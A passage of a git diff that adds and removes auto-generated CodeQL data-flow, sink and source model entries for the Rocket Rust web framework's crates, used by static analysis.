"ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::contains", "Argument[0]", "ReturnValue.Field[1]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_error", "Argument[0]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)].Field[0]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_error", "Argument[self].Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)].Field[1]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_error", "Argument[self].Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)]", "value", "dfc-generated"] @@ -374,6 +480,7 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_forward", "Argument[0].Field[1]", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)].Field[1]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_forward", "Argument[0]", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_forward", "Argument[self].Field[crate::result::Result::Ok(0)]", "ReturnValue.Field[crate::outcome::Outcome::Success(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::rkt::Rocket(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::rkt::Rocket(0)]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -383,19 +490,24 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::configure", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::default_tcp_http_server", "Argument[self]", "Argument[0].Parameter[0].Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::manage", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[crate::route::route::StaticInfo::format]", "ReturnValue.Field[crate::route::route::Route::format]", "value", "dfc-generated"] - - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[crate::route::route::StaticInfo::method]", "ReturnValue.Field[crate::route::route::Route::method]", "value", "dfc-generated"] - - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[crate::route::route::StaticInfo::rank].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::route::route::Route::rank]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::mount", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::register", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_base", "Argument[self].Field[crate::route::route::Route::uri].Field[crate::route::uri::RouteUri::base]", "Argument[0].Parameter[0]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_base", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::route::route::Route::method]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[2]", "ReturnValue.Field[crate::route::route::Route::handler].Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::ranked", "Argument[1]", "ReturnValue.Field[crate::route::route::Route::method]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::ranked", "Argument[3]", "ReturnValue.Field[crate::route::route::Route::handler].Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::route::uri::RouteUri::origin]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_str", "Argument[self].Field[crate::route::uri::RouteUri::source]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::default_rank", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::query", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::serde::json::Json(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::serde::json::Json(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -405,29 +517,60 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[crate::serde::json::Json(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::serde::msgpack::MsgPack(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::serde::msgpack::MsgPack(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[crate::serde::msgpack::MsgPack(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[crate::serde::msgpack::MsgPack(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::allow", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::block", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_liftoff", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_liftoff", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_response", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_response", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::disable", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::enable", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::state::State(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::inner", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::inner", "Argument[self].Field[crate::state::State(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::respond_to", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::len_into_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_ignite", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_ignite", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_liftoff", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_liftoff", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_request", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_request", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_response", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_response", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_response", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_shutdown", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_shutdown", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::clone", "Argument[self].Field[crate::trip_wire::TripWire::state].Reference", "ReturnValue.Field[crate::trip_wire::TripWire::state]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::trip_wire::TripWire::state]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_segments", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::finalize", "Argument[0].Field[crate::form::from_form::VecContext::errors]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::finalize", "Argument[0].Field[crate::form::from_form::VecContext::items]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::init", "Argument[0]", "ReturnValue.Field[crate::form::from_form::VecContext::opts]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::len_into_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] @@ -458,7 +601,6 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/rwf2/Rocket:rocket", "crate::catcher::catcher::default_handler", "Argument[0]", "ReturnValue.Field[crate::response::response::Response::status].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "crate::form::validate::try_with", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "crate::form::validate::with", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "crate::prepend", "Argument[1]", "ReturnValue", "value", "dfc-generated"] @@ -468,8 +610,15 @@ extensions: data: - ["repo:https://github.com/rwf2/Rocket:rocket", "::signal_stream", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::limit", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::add", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::append", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_owned", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "pointer-access", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::expect", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::client_ip", "Argument[self]", "pointer-access", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::respond_to", "Argument[self]", "pointer-access", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::dispatch", "Argument[1]", "log-injection", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::handle_error", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::matches", "Argument[0]", "log-injection", "df-generated"] @@ -479,3 +628,5 @@ extensions: extensible: sourceModel data: - ["repo:https://github.com/rwf2/Rocket:rocket", "::to_native_config", "ReturnValue", "file", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::open", "ReturnValue", "file", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::open", "ReturnValue", "file", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_codegen.model.yml b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_codegen.model.yml index 3c08a3aa283..ae08b4484be 100644 --- a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_codegen.model.yml +++ b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_codegen.model.yml @@ -5,6 +5,8 @@ extensions: extensible: summaryModel data: - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::with_span", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::from_uri_param", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::attribute::param::Dynamic::name]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::parse", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::attribute::param::parse::Error::segment]", "value", "dfc-generated"] @@ -36,6 +38,7 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::source", "Argument[1]", "Argument[self].Field[crate::attribute::param::parse::Error::source_span]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::source", "Argument[1]", "ReturnValue.Field[crate::attribute::param::parse::Error::source_span]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::source", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::from", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::attribute::route::parse::Route::attr]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::from", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::attribute::route::parse::Route::handler]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::upgrade_dynamic", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::attribute::param::Guard::source]", "value", "dfc-generated"] @@ -48,7 +51,9 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::derive::form_field::FieldName::Cased(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::derive::form_field::FieldName::Uncased(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::respanned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::from_meta", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::as_ref", "Argument[self].Field[crate::name::Name::value]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::name::Name::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::as_str", "Argument[self].Field[crate::name::Name::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::new", "Argument[1]", "ReturnValue.Field[crate::name::Name::span]", "value", "dfc-generated"] @@ -57,6 +62,13 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::head_err_or", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::proc_macro_ext::StringLit(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::into_owned", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::syn_ext::Child::ty]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::ty", "Argument[self]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "crate::derive::form_field::first_duplicate", "Argument[0].Element", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::from", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::into_owned", "Argument[self]", "pointer-access", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_http.model.yml b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_http.model.yml index c987027c185..0d36e150267 100644 --- a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_http.model.yml +++ b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_http.model.yml @@ -33,6 +33,7 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::with_params", "Argument[self].Field[crate::header::content_type::ContentType(0)]", "ReturnValue.Field[crate::header::content_type::ContentType(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::name", "Argument[self].Field[crate::header::header::Header::name]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::value", "Argument[self].Field[crate::header::header::Header::value]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::const_new", "Argument[2]", "ReturnValue.Field[crate::header::media_type::MediaType::params].Field[crate::header::media_type::MediaParams::Static(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::known_source", "Argument[self].Field[crate::header::media_type::MediaType::source].Field[crate::header::media_type::Source::Known(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::new_known", "Argument[0]", "ReturnValue.Field[crate::header::media_type::MediaType::source].Field[crate::header::media_type::Source::Known(0)]", "value", "dfc-generated"] @@ -46,12 +47,16 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::sleep_on_errors", "Argument[0]", "Argument[self].Field[crate::listener::Incoming::sleep_on_errors]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::sleep_on_errors", "Argument[0]", "ReturnValue.Field[crate::listener::Incoming::sleep_on_errors]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::sleep_on_errors", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::fmt", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::fmt", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::fmt", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -87,6 +92,7 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_ref", "Argument[self].Field[crate::raw_str::RawStr(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_ref", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_ref", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_bytes", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_str", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -104,7 +110,6 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::peer_address", "Argument[self].Field[crate::tls::listener::TlsStream::remote]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::peer_certificates", "Argument[self].Field[crate::tls::listener::TlsStream::certs].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::peer_certificates", "Argument[self].Field[crate::tls::listener::TlsStream::certs]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::deref", "Argument[self].Field[crate::tls::mtls::Certificate::x509]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_bytes", "Argument[self].Field[crate::tls::mtls::Certificate::data].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::has_serial", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -113,6 +118,8 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::deref", "Argument[self].Field[crate::tls::mtls::Name(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::try_from", 